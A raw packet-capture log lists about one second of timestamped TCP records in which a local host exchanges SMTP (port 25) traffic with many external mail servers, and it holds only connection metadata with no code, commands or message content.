Aug 24, 2023 19:03:39.510191917 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.510344028 CEST	50124	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.522664070 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:39.522819042 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:39.537230015 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537298918 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537342072 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537384987 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537450075 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537492037 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537553072 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537597895 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537638903 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537692070 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.537733078 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.552366972 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.571976900 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.575239897 CEST	50134	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.588352919 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.588756084 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.589927912 CEST	50135	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.596771002 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.597745895 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:39.597876072 CEST	50132	25	192.168.2.8	67.195.204.77
Aug 24, 2023 19:03:39.601387024 CEST	25	50116	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.601684093 CEST	50116	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.603401899 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.603615999 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.608947039 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:39.609178066 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:39.615784883 CEST	25	50126	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:39.616717100 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.617018938 CEST	50133	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.620397091 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.635893106 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.635998011 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.636164904 CEST	50131	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.636305094 CEST	50129	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.654222965 CEST	50136	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.680985928 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.681782007 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.681925058 CEST	50124	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.682142019 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.697432041 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.697556019 CEST	50135	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.710675001 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.710822105 CEST	50134	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.729715109 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.729903936 CEST	50133	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.736164093 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.736203909 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.736226082 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.736386061 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.736457109 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.736457109 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.743731022 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:39.743961096 CEST	50132	25	192.168.2.8	67.195.204.77
Aug 24, 2023 19:03:39.753113985 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.753211021 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.775784969 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.775825977 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.776544094 CEST	50129	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.784286022 CEST	25	50116	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.784404039 CEST	50116	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.786704063 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:39.792412996 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.792617083 CEST	50136	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.795995951 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.796103001 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.802515984 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802570105 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802570105 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802570105 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802570105 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802570105 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802596092 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802596092 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802608967 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802638054 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.802638054 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.806704998 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.806826115 CEST	50135	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.807605028 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.810573101 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.810781956 CEST	50131	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.824383020 CEST	25	50127	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.824589014 CEST	50127	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.836896896 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.837809086 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.838016033 CEST	50133	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.847865105 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.848026991 CEST	50134	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.849948883 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.852524042 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.853674889 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.853831053 CEST	50124	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.854038000 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.854753017 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.854826927 CEST	50124	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.858139992 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:39.858191967 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:39.858319044 CEST	50132	25	192.168.2.8	67.195.204.77
Aug 24, 2023 19:03:39.866384983 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866410971 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866425037 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866444111 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866461992 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866476059 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866496086 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866513014 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866528034 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866597891 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.866662025 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.892390013 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:39.892564058 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:39.896352053 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896436930 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896495104 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896576881 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896600008 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896646976 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896702051 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896750927 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896853924 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896853924 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.896943092 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.910670996 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.910713911 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.910880089 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.911024094 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.914165020 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.914196968 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.914361954 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.914386034 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.914639950 CEST	50129	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.915141106 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.915328026 CEST	50135	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.918240070 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:39.921211004 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.921351910 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.944957972 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.946232080 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.946463108 CEST	50133	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.946500063 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.946746111 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.947315931 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.947442055 CEST	50133	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.955107927 CEST	50141	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:39.967015028 CEST	50142	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:39.972877026 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:39.972914934 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:39.972994089 CEST	50132	25	192.168.2.8	67.195.204.77
Aug 24, 2023 19:03:39.973109961 CEST	50132	25	192.168.2.8	67.195.204.77
Aug 24, 2023 19:03:39.980228901 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.980427027 CEST	50136	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.981297970 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.982199907 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.982355118 CEST	50131	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.983206987 CEST	50143	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:39.983289957 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.984201908 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.984430075 CEST	50134	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.997678041 CEST	25	50127	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.997719049 CEST	25	50127	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.997997046 CEST	50127	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.017168999 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:40.026720047 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:40.026855946 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:40.026882887 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.028338909 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.028635025 CEST	50135	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.028846025 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:40.028939962 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.029043913 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.029447079 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.029453993 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.029557943 CEST	50135	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.035187006 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.035439014 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.036072969 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.036324978 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.052589893 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.052732944 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.052997112 CEST	50129	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:40.053193092 CEST	25	50133	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.062566996 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:40.068707943 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.068871021 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.069475889 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:40.069951057 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:40.070173979 CEST	50075	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:40.087316990 CEST	25	50132	67.195.204.77	192.168.2.8
Aug 24, 2023 19:03:40.090903997 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.091406107 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.091489077 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.091587067 CEST	50142	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:40.115624905 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.115735054 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.115735054 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.115849018 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.115849972 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.115952969 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.115992069 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.116060972 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.116095066 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.116214991 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.116214991 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.118091106 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.118257999 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.118431091 CEST	50136	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:40.119715929 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.120948076 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.121213913 CEST	50134	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.122102976 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.122273922 CEST	50134	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.123033047 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.123502970 CEST	50141	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:40.133337021 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133481979 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133558989 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133626938 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133704901 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133769035 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133877039 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.133946896 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.134023905 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.134104013 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.134208918 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.136178017 CEST	25	50135	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.141089916 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.143508911 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.145282984 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.150134087 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.150284052 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.150589943 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.153023958 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:40.154321909 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:40.154511929 CEST	50131	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:40.155339003 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:40.155505896 CEST	50131	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:40.157123089 CEST	25	50143	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:40.157398939 CEST	50143	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:40.162019968 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.162359953 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.171192884 CEST	25	50127	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.171497107 CEST	50127	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.181138992 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.181447983 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.193192005 CEST	49982	25	192.168.2.8	216.108.160.2
Aug 24, 2023 19:03:40.202611923 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.202692986 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.202893019 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.203078032 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.217662096 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.218282938 CEST	50142	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:40.234258890 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.234580994 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.235476971 CEST	25	50075	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:40.245332956 CEST	50146	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.245578051 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.249269962 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.249454021 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:40.249855042 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.256095886 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.256336927 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.256524086 CEST	50136	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:40.256566048 CEST	25	50134	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.264488935 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.264704943 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.274260044 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.280741930 CEST	25	50091	24.201.245.37	192.168.2.8
Aug 24, 2023 19:03:40.280774117 CEST	25	50091	24.201.245.37	192.168.2.8
Aug 24, 2023 19:03:40.290613890 CEST	50148	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.298917055 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:40.299057961 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:40.300048113 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.318197012 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318238020 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318404913 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318458080 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318528891 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318573952 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318614960 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318653107 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318687916 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318806887 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.318846941 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.322288036 CEST	50149	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.325119972 CEST	25	50131	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:40.343170881 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.343512058 CEST	50142	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:40.343760967 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:40.344685078 CEST	25	50127	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.344913960 CEST	50127	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.384826899 CEST	50151	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:40.393359900 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.394097090 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.394346952 CEST	25	50136	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:40.394443035 CEST	50136	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:40.395083904 CEST	25	50140	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:40.395292044 CEST	50140	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:40.418369055 CEST	25	50146	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:40.418633938 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:40.418783903 CEST	50146	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:40.419126987 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.425553083 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.426371098 CEST	25	50148	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:40.426552057 CEST	50148	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:40.429702044 CEST	25	50130	68.232.131.254	192.168.2.8
Aug 24, 2023 19:03:40.429754972 CEST	25	50149	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:40.429946899 CEST	50149	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:40.429939985 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:40.443888903 CEST	25	50141	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:40.444224119 CEST	50141	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:40.444997072 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.445991993 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.446113110 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446316957 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446353912 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446404934 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446454048 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446499109 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446542978 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446592093 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446638107 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446682930 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.446727991 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.453335047 CEST	25	50150	170.10.144.242	192.168.2.8
Aug 24, 2023 19:03:40.453507900 CEST	50150	25	192.168.2.8	170.10.144.242
Aug 24, 2023 19:03:40.468835115 CEST	25	50142	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:40.468910933 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:40.469141960 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:40.470680952 CEST	50142	25	192.168.2.8	104.47.75.228
